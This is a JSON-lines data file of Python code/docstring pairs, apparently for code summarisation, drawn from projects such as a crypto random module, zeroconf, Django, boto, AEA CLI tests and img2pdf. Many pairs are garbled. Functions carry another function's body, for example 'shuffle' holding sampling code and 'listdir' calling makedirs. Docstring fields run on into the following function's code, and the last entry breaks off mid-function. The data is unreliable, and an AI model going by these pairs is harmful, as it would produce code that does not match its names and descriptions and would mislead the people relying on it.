test_required_fields(self):Assert required `fields` are correct."} {"code": "def updates(self):\n pass", "nl": "Returns a list of update operators for this model.Returns a list of update operators for this model that must be executed ateach training step. The estimator's train op needs to have a controldependency on these updates.Returns:A list of update operators."} {"code": "def shuffle(self, x):\n\n num_choices = len(population)\n if k > num_choices:\n raise ValueError(\"sample larger than population\")\n\n retval = []\n selected = {}\n for i in range(k):\n r = None\n while r is None or r in selected:\n r = self.randrange(num_choices)\n retval.append(population[r])\n selected[r] = 1\n return retval\n\n_r = StrongRandom()\ngetrandbits = _r.getrandbits\nrandrange = _r.randrange\nrandint = _r.randint\nchoice = _r.choice\nshuffle = _r.shuffle\nsample = _r.sample\n\nfrom Crypto.Util.number import ceil_div, bytes_to_long, long_to_bytes, size\n", "nl": "Shuffle the sequence in place.# Fisher-Yates shuffle. O(n)# See http://en.wikipedia.org/wiki/Fisher-Yates_shuffle# Working backwards from the end of the array, we choose a random item# from the remaining items until all items have been chosen.for i in range(len(x)-1, 0, -1): # iterate from len(x)-1 downto 1j = self.randrange(0, i+1) # choose random j such that 0 <= j <= ix[i], x[j] = x[j], x[i] # exchange x[i] and x[j]def sample(self, population, k):Return a k-length list of unique elements chosen from the population sequence."} {"code": "def test_parse_output_to_processed_report(self):\n self.needs_file_delete = False\n actual_report_bytes = crash_uploader.get_symbolized_stack_bytes(\n 'reason', 12345, [None])\n self.assertIsNone(actual_report_bytes)\n", "nl": "Tests if given output parses to the expected symbolized stack bytes.self.needs_file_delete = Falsestate = stack_analyzer.get_crash_data(SAMPLE_OUTPUT_TO_PARSE)actual_report_bytes = crash_uploader.get_symbolized_stack_bytes(state.crash_type, state.crash_address, state.frames)with open(EXPECTED_PROCESSED_REPORT_PATH, 'rb') as expected_report:expected_report_bytes = expected_report.read()self.assertEqual(actual_report_bytes, expected_report_bytes)def test_parse_output_to_processed_report_bad_stack(self):Tests if given bad stack fails to parse to a processed report."} {"code": "def unregister_service(self, info):\n if len(self.services) > 0:\n now = current_time_millis()\n next_time = now\n i = 0\n while i < 3:\n if now < next_time:\n self.wait(next_time - now)\n now = current_time_millis()\n continue\n out = DNSOutgoing(_FLAGS_QR_RESPONSE | _FLAGS_AA)\n for info in self.services.values():\n out.add_answer_at_time(DNSPointer(\n info.type, _TYPE_PTR, _CLASS_IN, 0, info.name), 0)\n out.add_answer_at_time(DNSService(\n info.name, _TYPE_SRV, _CLASS_IN, 0,\n info.priority, info.weight, info.port, info.server), 0)\n out.add_answer_at_time(DNSText(\n info.name, _TYPE_TXT, _CLASS_IN, 0, info.text), 0)\n if info.address:\n out.add_answer_at_time(DNSAddress(\n info.server, _TYPE_A, _CLASS_IN, 0,\n info.address), 0)\n self.send(out)\n i += 1\n next_time += _UNREGISTER_TIME\n", "nl": "Unregister a service.try:del self.services[info.name.lower()]if self.servicetypes[info.type] > 1:self.servicetypes[info.type] -= 1else:del self.servicetypes[info.type]except Exception as e: # TODO stop catching all Exceptionslog.exception('Unknown error, possibly benign: %r', e)now = current_time_millis()next_time = nowi = 0while i < 3:if now < next_time:self.wait(next_time - now)now = current_time_millis()continueout = DNSOutgoing(_FLAGS_QR_RESPONSE | _FLAGS_AA)out.add_answer_at_time(DNSPointer(info.type, _TYPE_PTR, _CLASS_IN, 0, info.name), 0)out.add_answer_at_time(DNSService(info.name, _TYPE_SRV, _CLASS_IN, 0,info.priority, info.weight, info.port, info.name), 0)out.add_answer_at_time(DNSText(info.name, _TYPE_TXT, _CLASS_IN, 0, info.text), 0)if info.address:out.add_answer_at_time(DNSAddress(info.server, _TYPE_A, _CLASS_IN, 0,info.address), 0)self.send(out)i += 1next_time += _UNREGISTER_TIMEdef unregister_all_services(self):Unregister all registered services."} {"code": "def get_remaining(self, max_tokens: Optional[int] = None) -> List[Token]:\n\n tokens = []\n while True:\n token = self.get()\n if token.is_eol_or_eof():\n self.unget(token)\n break\n tokens.append(token)\n if len(tokens) == max_tokens:\n break\n return tokens\n", "nl": "Return the remaining tokens on the line, until an EOL or EOF is seen.max_tokens: If not None, stop after this number of tokens.Returns a list of tokens."} {"code": "def get_profile_model():\n if (not hasattr(settings, 'AUTH_PROFILE_MODULE')) or \\\n (not settings.AUTH_PROFILE_MODULE):\n raise SiteProfileNotAvailable\n profile_mod = get_model(*settings.AUTH_PROFILE_MODULE.split('.'))\n if profile_mod is None:\n raise SiteProfileNotAvailable\n return profile_mod\n\n", "nl": "Return the model class for the currently-active user profilemodel, as defined by the ``AUTH_PROFILE_MODULE`` setting. If thatsetting is missing, raise``django.contrib.auth.models.SiteProfileNotAvailable``."} {"code": "def single_test_run(test_path):\n return AntlrTokenizer(HTMLLexer).tokenize(data)\n\n", "nl": "Hacky test function that checks for certain common errors.if not test_command:raise errors.NoCommandErrorargs = test_command + [test_path]try:console_output = subprocess.check_output(args, stderr=subprocess.STDOUT)except subprocess.CalledProcessError as error:console_output = error.output# If we meet one of these conditions, assume we crashed.if ((has_marker(console_output, STACKTRACE_TOOL_MARKERS) andhas_marker(console_output, STACKTRACE_END_MARKERS)) orhas_marker(console_output, CHECK_FAILURE_MARKERS)):print('Crashed, current test size %s.' % (get_size_string(os.path.getsize(test_path))))return False# No crash, test passed.print('Not crashed, current test size %s.' % (get_size_string(os.path.getsize(test_path))))return Truedef tokenize(data):HTML tokenizer."} {"code": "def set_genes_random(self):\n\n Args:\n network (dict): The genome parameters to mutate\n\n Returns:\n (Genome): A randomly mutated genome object\n\n \"\"\"", "nl": "Create a random genome.#print(\"set_genes_random\")self.parents = [0,0] #very sad - no parents :(for key in self.all_possible_genes:self.geneparam[key] = random.choice(self.all_possible_genes[key])self.update_hash()def mutate_one_gene(self):Randomly mutate one gene in the genome."} {"code": "def build_model(cls, cfg):\n model = build_model(cfg)\n return model\n\n @classmethod", "nl": "Returns:flow.nn.Module:It now calls :func:`libai.layers.build_model`.Overwrite it if you'd like a different model."} {"code": "def _post_setattr_orientation(self, old, new):\n if self.auto_hug:\n if new == 'vertical':\n self.hug_width = 'strong'\n self.hug_height = 'ignore'\n else:\n self.hug_width = 'ignore'\n self.hug_height = 'strong'", "nl": " Post setattr the orientation for the tool bar.If auto hug is enabled, the hug values will be updated."} {"code": "def enable_adapters(self, tasks):\n tasks = self.convert_to_list(tasks)\n for task in tasks:\n adapter = self.get_adapter(task)\n for param in adapter.parameters():\n param.requires_grad = True\n", "nl": "Given a list of tasks, it unfreezes their corresponding adapter layers.Args:tasks: Given list of tasks."} {"code": "def listdir(path: PathType) -> List[PathType]:\n _get_filesystem(path).makedirs(path)\n\n", "nl": "Return the list of files in a directory.return _get_filesystem(path).listdir(path)def makedirs(path: PathType) -> None:Make a directory at the given path, recursively creating parents."} {"code": "def serialize(self) -> Dict:\n self._energy_params.activate(area.config)\n self._energy_params.set_produced_energy_forecast(\n area._current_market_time_slot, area.config.slot_length)\n", "nl": "Serialize the strategy parameters.return self._energy_params.serialize()@propertydef state(self) -> \"StateInterface\":# pylint: disable=protected-accessreturn self._energy_params._statedef activate(self, area: \"AreaBase\") -> None:Activate the strategy."} {"code": "def escape_assertion(s):\n\n pos = s.find(\"\n if pos == -1:\n return s\n\n return s[0:pos].strip()\n\n", "nl": "escapes the dots in the assertion, because the expression evaluation doesn't support such variable names.eval_p = re.search(r\"\\bp(\\d*)\\.\", s)if eval_p is not None:p_suffix = eval_p.group(1)p_before = re.compile(f\"\\\\bp{p_suffix}\\\\.\")p_after = f\"p{p_suffix}_\"s = re.sub(p_before, p_after, s)eval_r = re.search(r\"\\br(\\d*)\\.\", s)if eval_r is not None:r_suffix = eval_r.group(1)r_before = re.compile(f\"\\\\br{r_suffix}\\\\.\")r_after = f\"r{r_suffix}_\"s = re.sub(r_before, r_after, s)return sdef remove_comments(s):removes the comments starting with # in the text."} {"code": "def connect_iam(aws_access_key_id=None, aws_secret_access_key=None, **kwargs):\n from boto.iam import IAMConnection\n return IAMConnection(aws_access_key_id, aws_secret_access_key, **kwargs)\n", "nl": ":type aws_access_key_id: string:param aws_access_key_id: Your AWS Access Key ID:type aws_secret_access_key: string:param aws_secret_access_key: Your AWS Secret Access Key:rtype: :class:`boto.iam.IAMConnection`:return: A connection to Amazon's IAM"} {"code": "def empty_inserts(self):\n\n return exclusions.only_if(\n lambda config: config.db.dialect.supports_empty_insert or", "nl": "target platform supports INSERT with no values, i.e.INSERT DEFAULT VALUES or equivalent."} {"code": "def test__scaffold_error_handler_already_exists(self):\n err_handler = {}\n ctx = ContextMock()\n ctx.agent_config.error_handler = err_handler\n with self.assertRaises(ClickException):\n _scaffold_error_handler(ctx)\n os_remove_mock.assert_called_once()\n\n @mock.patch(\"aea.cli.scaffold.shutil.copyfile\")\n @mock.patch(\"aea.cli.scaffold.os.remove\")\n @mock.patch(\"aea.cli.scaffold.open_file\", mock.mock_open())\n @mock.patch(\"aea.cli.scaffold.Path\", return_value=\"Path\")", "nl": "Test _scaffold_error_handler method dm handler already exists result.err_handler = {\"err\": \"handler\"}ctx = ContextMock()ctx.agent_config.error_handler = err_handlerwith self.assertRaises(ClickException) as cm:_scaffold_error_handler(ctx)self.assertEqual(\"A error handler specification already exists. Aborting...\",str(cm.exception),)@mock.patch(\"aea.cli.scaffold.shutil.copyfile\", _raise_exception)@mock.patch(\"aea.cli.scaffold.os.remove\")def test__scaffold_error_handler_exception(self, os_remove_mock, *mocks):Test _scaffold_error_handler method exception raised result."} {"code": "def configWrapper(self, section, config_item, new_value, reload_file=False):\n\n try:\n if len(new_value.split(',')) > 1:\n new_value = new_value.split(\",\")\n except:\n pass\n new_value = scrub_item_value(new_value)\n\n if self.interfacecfg.change_item(section, config_item, new_value):\n self.interfacecfg.save()\n if reload_file:\n self.interfacecfg.loadconfig()\n return True\n self.log.error(\"API.Minecraft configWrapper failed.\")\n return False\n", "nl": "*New feature starting in version 0.8.12*Edits the Wrapper.Properties.json file:Args::section::config_item::new_value::reload_file: True to reload the config:returns: True or False, indicating Success or Failure"} {"code": "def from_example_list_text2sql(ex_list, device='cpu', train=True, **kwargs):\n batch = from_example_list_base(ex_list, device, train)\n batch.graph = Example.graph_factory.batch_graphs(ex_list, device, train=train, **kwargs)\n if train:\n batch.max_action_num = max([len(ex.tgt_action) for ex in ex_list])\n return batch\n\nclass Batch():\n", "nl": " New fields: batch.lens, batch.max_len, batch.relations, batch.relations_mask"} {"code": "def teardown_class(cls):\n\n @classmethod", "nl": "Tear the test down.try:shutil.rmtree(cls.t)except (OSError, IOError):passclass TestGenerateProtocolProtobufOnlyMode:Test that the command 'aea generate protocol' works correctly in correct preconditions."} {"code": "def __init__(self, configuration_validation_errors=None, message=None):\n self.openapi_types = {\"configuration_validation_errors\": List[ConfigValidationMessage], \"message\": str}\n\n self.attribute_map = {\"configuration_validation_errors\": \"configurationValidationErrors\", \"message\": \"message\"}\n\n self._configuration_validation_errors = configuration_validation_errors\n self._message = message\n\n @classmethod", "nl": "CreateClusterBadRequestExceptionResponseContent - a model defined in OpenAPI:param configuration_validation_errors: The configuration_validation_errors of thisCreateClusterBadRequestExceptionResponseContent.:type configuration_validation_errors: List[ConfigValidationMessage]:param message: The message of this CreateClusterBadRequestExceptionResponseContent.:type message: str"} {"code": "def get_n_human_scores(human_scores):\n n_scores = (~np.isnan(human_scores)).sum(axis=1)\n return n_scores\n\n", "nl": "Get the number of available human scores for each response.Parameters----------human_scores : array-like of shape (n_samples, n_ratings)Human ratings for each response.Returns-------n_scores : array-like of shape (n_samples, )Total number of not None human scores"} {"code": "def print_info(msg):\n\t\tprint(f'[\\033[1;34m*\\033[0m] {msg}')\n\n\t@staticmethod", "nl": "Print info message.:param msg: the message to print:type msg: str"} {"code": "def test_get_all_with_filter(countries_map):\n countries = rapi.get_all(filters=[\"name\", \"capital\"])\n assert sorted(countries) == sorted(countries_map.values())\n\n\n@pytest.mark.usefixtures(\"mock_get_countries_by_name\")\n@pytest.mark.parametrize(\"country_name\", [\"south_africa\", \"nigeria\", \"egypt\", \"kenya\"])", "nl": "Test that a list of all countries can be retrieved and the response is filtered."} {"code": "def initialize_inner(self) -> None:\n that triggers schedule re-evaluation in the given rooms.\"\"\"", "nl": "Initializes all actors and callbacks.assert self.actor_type is not Noneself.log(\"Actor type is: {}\".format(repr(self.actor_type.name)))if self.cfg[\"expression_environment\"]:self.log(\"Compiling the expression_environment script.\", level=\"DEBUG\")self.expression_environment_script = compile(self.cfg[\"expression_environment\"],\"expression_environment\",\"exec\",dont_inherit=True,)for room in self.rooms:room.initialize(reset=self.cfg[\"reset_at_startup\"])for definition in self.cfg[\"watched_entities\"]:self.watch_entity(definition, self.rooms)self.log(\"Listening for schedy_reevaluate event.\", level=\"DEBUG\")self.listen_event(self._reevaluate_event_cb, \"schedy_reevaluate\")self.log(\"Listening for schedy_set_value event.\", level=\"DEBUG\")self.listen_event(self._set_value_event_cb, \"schedy_set_value\")for stats_param in self.stats_params:stats_param.initialize()def watch_entity(self, definition: T.Dict[str, T.Any], rooms: T.List[\"Room\"]) -> None:Sets up a state listener as configured in the given definition"} {"code": "def pandas_format(self):\n not `%s`.''' % pandas_format)", "nl": "Format of pandas data. Applicable formats are 'table' (or 't') and 'fixed' (or 'f')return self._pandas_format@pandas_format.setterdef pandas_format(self, pandas_format):if pandas_format not in ('f', 'fixed', 'table', 't'):raise ValueError(Pandas format can only be 'table' (or 't') and 'fixed' (or 'f')"} {"code": "def test_pass_dtype(self):\n", "nl": "data = \\one,two1,a2,b3,c4,d"} {"code": "def __init__(self, prune_tips: float = None, prune_forks: float = None):\n self.prune_tips = prune_tips\n self.prune_forks = prune_forks\n", "nl": "Parameters----------prune_tips : float, optionalRadius to avoid around skeleton tips, in low-resolution pixel scale.prune_forks : float, optionalRadius to avoid around skeleton forks, in low-resolution pixel scale."} {"code": "def load_model(self, folder_name):\n raise NotImplementedError()\n", "nl": "Passes each chunk from mains generator to disaggregate_chunk()Parameters----------test_mains : list of pd.DataFrames"} {"code": "def test_MB(self):\n return self.namesTest(\n self.resolver.lookupMailGroup('test-domain.com'),\n [dns.Record_MG('mail.group.someplace', ttl=19283784)]\n )\n\n", "nl": "Test DNS 'MB' record queriesreturn self.namesTest(self.resolver.lookupMailBox('test-domain.com'),[dns.Record_MB('mailbox.test-domain.com', ttl=19283784)])def test_MG(self):Test DNS 'MG' record queries"} {"code": "def test_singleModuleObject(self):\n import os\n self.assertAttributeWrapperRefersTo(\n self.wrapFQPN('os.path'), 'os.path', os.path)\n", "nl": "L{wrapFQPN} returns a L{twisted.python.modules.PythonAttribute}referring to the deepest object an FQPN names, traversing one module."} {"code": "def _auth(self):\n loginpage = self.domain + '/login.php'\n data = {'username': self.username,\n 'password': self.password,\n 'keeplogged': 1,\n 'login': 'Login'\n }\n r = self.session.post(loginpage, data=data, allow_redirects=False)\n if r.status_code != 302:\n raise LoginException\n self._auth()\n", "nl": "Gets auth key from serveraccountinfo = self.request(\"index\")self.authkey = accountinfo[\"response\"][\"authkey\"]self.passkey = accountinfo[\"response\"][\"passkey\"]def _login(self):Logs in user"} {"code": "def gather_indexes(self, output, gather_index):\n attention_mask = (item_seq != 0)\n extended_attention_mask = attention_mask.unsqueeze(1).unsqueeze(2)\n if not bidirectional:\n extended_attention_mask = torch.tril(extended_attention_mask.expand((-1, -1, item_seq.size(-1), -1)))\n extended_attention_mask = torch.where(extended_attention_mask, 0., -10000.)\n return extended_attention_mask\n\n\nclass KnowledgeRecommender(AbstractRecommender):\n \"\"\"This is a abstract knowledge-based recommender. All the knowledge-based model should implement this class.\n type = ModelType.KNOWLEDGE\n", "nl": "Gathers the vectors at the specific positions over a minibatchgather_index = gather_index.view(-1, 1, 1).expand(-1, -1, output.shape[-1])output_tensor = output.gather(dim=1, index=gather_index)return output_tensor.squeeze(1)def get_attention_mask(self, item_seq, bidirectional=False):Generate left-to-right uni-directional or bidirectional attention mask for multi-head attention."} {"code": "def validateIP(self, host: str, ip: str) -> bool:\n if not host:\n self.error(f\"Unable to resolve host: {host} (Invalid host)\")\n return False\n\n if self.validIP(ip):\n addrs = self.resolveHost(host)\n elif self.validIP6(ip):\n addrs = self.resolveHost6(host)\n else:\n self.error(f\"Unable to verify hostname {host} resolves to {ip} (Invalid IP address)\")\n return False\n\n if not addrs:\n return False\n\n for addr in addrs:\n if str(addr) == ip:\n return True\n\n return False\n", "nl": "Verify a host resolves to a given IP.Args:host (str): hostip (str): IP addressReturns:bool: host resolves to the given IP address"} {"code": "def _dict_to_object(self, dict_data: Dict[str, Any]) -> Any:\n return json.dumps(obj, cls=_DefaultEncoder, sort_keys=True)\n\n", "nl": "Converts a dictionary to an object.if _TFX_OBJECT_TYPE_KEY not in dict_data:return dict_dataobject_type = dict_data.pop(_TFX_OBJECT_TYPE_KEY)def _extract_class(d):module_name = d.pop(_MODULE_KEY)class_name = d.pop(_CLASS_KEY)return getattr(importlib.import_module(module_name), class_name)if object_type == _ObjectType.JSONABLE:jsonable_class_type = _extract_class(dict_data)if not issubclass(jsonable_class_type, Jsonable):raise ValueError('Class %s must be a subclass of Jsonable' %jsonable_class_type)return jsonable_class_type.from_json_dict(dict_data)if object_type == _ObjectType.CLASS:return _extract_class(dict_data)if object_type == _ObjectType.PROTO:proto_class_type = _extract_class(dict_data)if not issubclass(proto_class_type, message.Message):raise ValueError('Class %s must be a subclass of proto.Message' %proto_class_type)if _PROTO_VALUE_KEY not in dict_data:raise ValueError('Missing proto value in json dict')return proto_utils.json_to_proto(dict_data[_PROTO_VALUE_KEY],proto_class_type())def dumps(obj: Any) -> str:Dumps an object to JSON with Jsonable encoding."} {"code": "def update(name, index):\n uninstall_plugin(name, file)\n\n\n@plugin.command(aliases=[\"create\"])\n@click.argument(\"name\", required=False)\n@click.option(\n \"-d\",\n \"--plugin-dir\",\n type=click.Path(exists=True, file_okay=False, writable=True),\n)", "nl": "Update nonebot plugin.update_plugin(name, index)@plugin.command(aliases=[\"remove\"])@click.option(\"-f\",\"--file\",default=\"pyproject.toml\",show_default=True,help=\"Plugin loading file of your bot\",)@click.argument(\"name\", nargs=1)def uninstall(name, file):Uninstall nonebot plugin from current project."} {"code": "def recreate(self):\n\n raise NotImplementedError()\n", "nl": "Return a new :class:`_pool.Pool`, of the same class as this oneand configured with identical creation arguments.This method is used in conjunction with :meth:`dispose`to close out an entire :class:`_pool.Pool` and create a new one inits place."} {"code": "def assert_bool(dist, attr, value):\n try:\n list(pkg_resources.parse_requirements(value))\n if isinstance(value, (dict, set)):\n raise TypeError(\"Unordered types are not allowed\")\n except (TypeError, ValueError) as error:\n tmpl = (\n \"{attr!r} must be a string or list of strings \"\n \"containing valid project/version requirement specifiers; {error}\"\n )\n raise DistutilsSetupError(tmpl.format(attr=attr, error=error))\n\n", "nl": "Verify that value is True, False, 0, or 1if bool(value) != value:tmpl = \"{attr!r} must be a boolean value (got {value!r})\"raise DistutilsSetupError(tmpl.format(attr=attr, value=value))def check_requirements(dist, attr, value):Verify that install_requires is a valid requirements list"} {"code": "def assert_string_list(dist, attr, value):\n ns_packages = value\n assert_string_list(dist, attr, ns_packages)\n for nsp in ns_packages:\n if not dist.has_contents_for(nsp):\n raise DistutilsSetupError(\n \"Distribution contains no modules or packages for \" +\n \"namespace package %r\" % nsp\n )\n parent, sep, child = nsp.rpartition('.')\n if parent and parent not in ns_packages:\n distutils.log.warn(\n \"WARNING: %r is declared as a package namespace, but %r\"\n \" is not: please correct this in setup.py\", nsp, parent\n )\n\n", "nl": "Verify that value is a string list or Nonetry:assert ''.join(value) != valueexcept (TypeError, ValueError, AttributeError, AssertionError):raise DistutilsSetupError(\"%r must be a list of strings (got %r)\" % (attr, value))def check_nsp(dist, attr, value):Verify that namespace packages are valid"} {"code": "def wm_deiconify(self):\n return self.tk.call('wm', 'deiconify', self._w)\n\n deiconify = wm_deiconify\n", "nl": "Deiconify this widget. If it was never mapped it will not be mapped.On Windows it will raise this widget and give it the focus."} {"code": "def transcode_monochrome(imgdata):\n\n >>> layout_fun = get_fixed_dpi_layout_fun((300, 300))\n >>> convert(image1, layout_fun=layout_fun, ... outputstream=...)\n \"\"\"", "nl": "Convert the open PIL.Image imgdata to compressed CCITT Group4 datalogging.debug(\"Converting monochrome to CCITT Group4\")# Convert the image to Group 4 in memory. If libtiff is not installed and# Pillow is not compiled against it, .save() will raise an exception.newimgio = BytesIO()# we create a whole new PIL image or otherwise it might happen with some# input images, that libtiff fails an assert and the whole process is# killed by a SIGABRT:# https://gitlab.mister-muffin.de/josch/img2pdf/issues/46im = Image.frombytes(imgdata.mode, imgdata.size, imgdata.tobytes())im.save(newimgio, format=\"TIFF\", compression=\"group4\")# Open new image in memorynewimgio.seek(0)newimg = Image.open(newimgio)offset, length = ccitt_payload_location_from_pil(newimg)newimgio.seek(offset)return newimgio.read(length)def parse_png(rawdata):pngidat = b\"\"palette = []i = 16while i < len(rawdata):# once we can require Python >= 3.2 we can use int.from_bytes() insteadn, = struct.unpack(\">I\", rawdata[i - 8 : i - 4])if i + n > len(rawdata):raise Exception(\"invalid png: %d %d %d\" % (i, n, len(rawdata)))if rawdata[i - 4 : i] == b\"IDAT\":pngidat += rawdata[i : i + n]elif rawdata[i - 4 : i] == b\"PLTE\":# This could be as simple as saying \"palette = rawdata[i:i+n]\" but# pdfrw does only escape parenthesis and backslashes in the raw# byte stream. But raw carriage return bytes are interpreted as# line feed bytes by ghostscript. So instead we use the hex string# format. pdfrw cannot write it but at least ghostscript is happy# with it. We would also write out the palette in binary format# (and escape more bytes) but since we cannot use pdfrw anyways,# we choose the more human readable variant.# See https://github.com/pmaupin/pdfrw/issues/147for j in range(i, i + n, 3):# with int.from_bytes() we would not have to prepend extra# zeroescolor, = struct.unpack(\">I\", b\"\\x00\" + rawdata[j : j + 3])palette.append(color)i += ni += 12return pngidat, palettedef read_images(rawdata, colorspace, first_frame_only=False):im = BytesIO(rawdata)im.seek(0)imgdata = Nonetry:imgdata = Image.open(im)except IOError as e:# test if it is a jpeg2000 imageif rawdata[:12] != b\"\\x00\\x00\\x00\\x0C\\x6A\\x50\\x20\\x20\\x0D\\x0A\\x87\\x0A\":raise ImageOpenError(\"cannot read input image (not jpeg2000). \"\"PIL: error reading image: %s\" % e)# image is jpeg2000imgformat = ImageFormat.JPEG2000else:imgformat = Nonefor f in ImageFormat:if f.name == imgdata.format:imgformat = fif imgformat is None:imgformat = ImageFormat.otherlogging.debug(\"imgformat = %s\", imgformat.name)# depending on the input format, determine whether to pass the raw# image or the zlib compressed color information# JPEG and JPEG2000 can be embedded into the PDF as-isif imgformat == ImageFormat.JPEG or imgformat == ImageFormat.JPEG2000:color, ndpi, imgwidthpx, imgheightpx, rotation = get_imgmetadata(imgdata, imgformat, default_dpi, colorspace, rawdata)if color == Colorspace[\"1\"]:raise JpegColorspaceError(\"jpeg can't be monochrome\")if color == Colorspace[\"P\"]:raise JpegColorspaceError(\"jpeg can't have a color palette\")if color == Colorspace[\"RGBA\"]:raise JpegColorspaceError(\"jpeg can't have an alpha channel\")im.close()logging.debug(\"read_images() embeds a JPEG\")return [(color,ndpi,imgformat,rawdata,imgwidthpx,imgheightpx,[],False,8,rotation,)]# We can directly embed the IDAT chunk of PNG images if the PNG is not# interlaced## PIL does not provide the information whether a PNG was stored interlaced# or not. Thus, we retrieve that info manually by looking at byte 13 in the# IHDR chunk. We know where to find that in the file because the IHDR chunk# must be the first chunk.if imgformat == ImageFormat.PNG and rawdata[28] == 0:color, ndpi, imgwidthpx, imgheightpx, rotation = get_imgmetadata(imgdata, imgformat, default_dpi, colorspace, rawdata)pngidat, palette = parse_png(rawdata)im.close()# PIL does not provide the information about the original bits per# sample. Thus, we retrieve that info manually by looking at byte 9 in# the IHDR chunk. We know where to find that in the file because the# IHDR chunk must be the first chunkdepth = rawdata[24]if depth not in [1, 2, 4, 8, 16]:raise ValueError(\"invalid bit depth: %d\" % depth)logging.debug(\"read_images() embeds a PNG\")return [(color,ndpi,imgformat,pngidat,imgwidthpx,imgheightpx,palette,False,depth,rotation,)]# If our input is not JPEG or PNG, then we might have a format that# supports multiple frames (like TIFF or GIF), so we need a loop to# iterate through all frames of the image.## Each frame gets compressed using PNG compression *except* if:## * The image is monochrome => encode using CCITT group 4## * The image is CMYK => zip plain RGB data## * We are handling a CCITT encoded TIFF frame => embed dataresult = []img_page_count = 0# loop through all frames of the image (example: multipage TIFF)while True:try:imgdata.seek(img_page_count)except EOFError:breakif first_frame_only and img_page_count > 0:break# PIL is unable to preserve the data of 16-bit RGB TIFF files and will# convert it to 8-bit without the possibility to retrieve the original# data# https://github.com/python-pillow/Pillow/issues/1888## Some tiff images do not have BITSPERSAMPLE set. Use this to create# such a tiff: tiffset -u 258 test.tifif (imgformat == ImageFormat.TIFFand max(imgdata.tag_v2.get(TiffImagePlugin.BITSPERSAMPLE, [1])) > 8):raise ValueError(\"PIL is unable to preserve more than 8 bits per sample\")# We can directly copy the data out of a CCITT Group 4 encoded TIFF, if it# only contains a single stripif (imgformat == ImageFormat.TIFFand imgdata.info[\"compression\"] == \"group4\"and len(imgdata.tag_v2[TiffImagePlugin.STRIPOFFSETS]) == 1):photo = imgdata.tag_v2[TiffImagePlugin.PHOTOMETRIC_INTERPRETATION]inverted = Falseif photo == 0:inverted = Trueelif photo != 1:raise ValueError(\"unsupported photometric interpretation for \"\"group4 tiff: %d\" % photo)color, ndpi, imgwidthpx, imgheightpx, rotation = get_imgmetadata(imgdata, imgformat, default_dpi, colorspace, rawdata)offset, length = ccitt_payload_location_from_pil(imgdata)im.seek(offset)rawdata = im.read(length)fillorder = imgdata.tag_v2.get(TiffImagePlugin.FILLORDER)if fillorder is None:# no FillOrder: nothing to dopasselif fillorder == 1:# msb-to-lsb: nothing to dopasselif fillorder == 2:logging.debug(\"fillorder is lsb-to-msb => reverse bits\")# lsb-to-msb: reverse bits of each byterawdata = bytearray(rawdata)for i in range(len(rawdata)):rawdata[i] = TIFFBitRevTable[rawdata[i]]rawdata = bytes(rawdata)else:raise ValueError(\"unsupported FillOrder: %d\" % fillorder)logging.debug(\"read_images() embeds Group4 from TIFF\")result.append((color,ndpi,ImageFormat.CCITTGroup4,rawdata,imgwidthpx,imgheightpx,[],inverted,1,rotation,))img_page_count += 1continuelogging.debug(\"Converting frame: %d\" % img_page_count)color, ndpi, imgwidthpx, imgheightpx, rotation = get_imgmetadata(imgdata, imgformat, default_dpi, colorspace)newimg = Noneif color == Colorspace[\"1\"]:if (rawdata[0:2] == b\"P4\"):zdata = zlib.compress(rawdata[13:])else:zdata = zlib.compress(rawdata)result.append((Colorspace.P,ndpi,ImageFormat.PBM,zdata,imgwidthpx,imgheightpx,[0xffffff, 0],False,1,rotation,))img_page_count += 1continueelif color in [Colorspace.RGB,Colorspace.L,Colorspace.CMYK,Colorspace[\"CMYK;I\"],Colorspace.P,]:logging.debug(\"Colorspace is OK: %s\", color)newimg = imgdataelse:raise ValueError(\"unknown or unsupported colorspace: %s\" % color.name)# the PNG format does not support CMYK, so we fall back to normal# compressionif color in [Colorspace.CMYK, Colorspace[\"CMYK;I\"]]:imggz = zlib.compress(newimg.tobytes())logging.debug(\"read_images() encoded CMYK with flate compression\")result.append((color,ndpi,imgformat,imggz,imgwidthpx,imgheightpx,[],False,8,rotation,))else:# cheapo version to retrieve a PNG encoding of the payload is to# just save it with PIL. In the future this could be replaced by# dedicated function applying the Paeth PNG filter to the raw pixelpngbuffer = BytesIO()newimg.save(pngbuffer, format=\"png\")pngidat, palette = parse_png(pngbuffer.getvalue())# PIL does not provide the information about the original bits per# sample. Thus, we retrieve that info manually by looking at byte 9 in# the IHDR chunk. We know where to find that in the file because the# IHDR chunk must be the first chunkpngbuffer.seek(24)depth = ord(pngbuffer.read(1))if depth not in [1, 2, 4, 8, 16]:raise ValueError(\"invalid bit depth: %d\" % depth)logging.debug(\"read_images() encoded an image as PNG\")result.append((color,ndpi,ImageFormat.PNG,pngidat,imgwidthpx,imgheightpx,palette,False,depth,rotation,))img_page_count += 1# the python-pil version 2.3.0-1ubuntu3 in Ubuntu does not have the# close() methodtry:imgdata.close()except AttributeError:passim.close()return result# converts a length in pixels to a length in PDF units (1/72 of an inch)def px_to_pt(length, dpi):return 72.0 * length / dpidef cm_to_pt(length):return (72.0 * length) / 2.54def mm_to_pt(length):return (72.0 * length) / 25.4def in_to_pt(length):return 72.0 * lengthdef get_layout_fun(pagesize=None, imgsize=None, border=None, fit=None, auto_orient=False):def fitfun(fit, imgwidth, imgheight, fitwidth, fitheight):if fitwidth is None and fitheight is None:raise ValueError(\"fitwidth and fitheight cannot both be None\")# if fit is fill or enlarge then it is okay if one of the dimensions# are negative but one of them must still be positive# if fit is not fill or enlarge then both dimensions must be positiveif (fit in [FitMode.fill, FitMode.enlarge]and fitwidth is not Noneand fitwidth < 0and fitheight is not Noneand fitheight < 0):raise ValueError(\"cannot fit into a rectangle where both dimensions are negative\")elif fit not in [FitMode.fill, FitMode.enlarge] and ((fitwidth is not None and fitwidth < 0)or (fitheight is not None and fitheight < 0)):raise Exception(\"cannot fit into a rectangle where either dimensions are negative\")def default():if fitwidth is not None and fitheight is not None:newimgwidth = fitwidthnewimgheight = (newimgwidth * imgheight) / imgwidthif newimgheight > fitheight:newimgheight = fitheightnewimgwidth = (newimgheight * imgwidth) / imgheightelif fitwidth is None and fitheight is not None:newimgheight = fitheightnewimgwidth = (newimgheight * imgwidth) / imgheightelif fitheight is None and fitwidth is not None:newimgwidth = fitwidthnewimgheight = (newimgwidth * imgheight) / imgwidthelse:raise ValueError(\"fitwidth and fitheight cannot both be None\")return newimgwidth, newimgheightif fit is None or fit == FitMode.into:return default()elif fit == FitMode.fill:if fitwidth is not None and fitheight is not None:newimgwidth = fitwidthnewimgheight = (newimgwidth * imgheight) / imgwidthif newimgheight < fitheight:newimgheight = 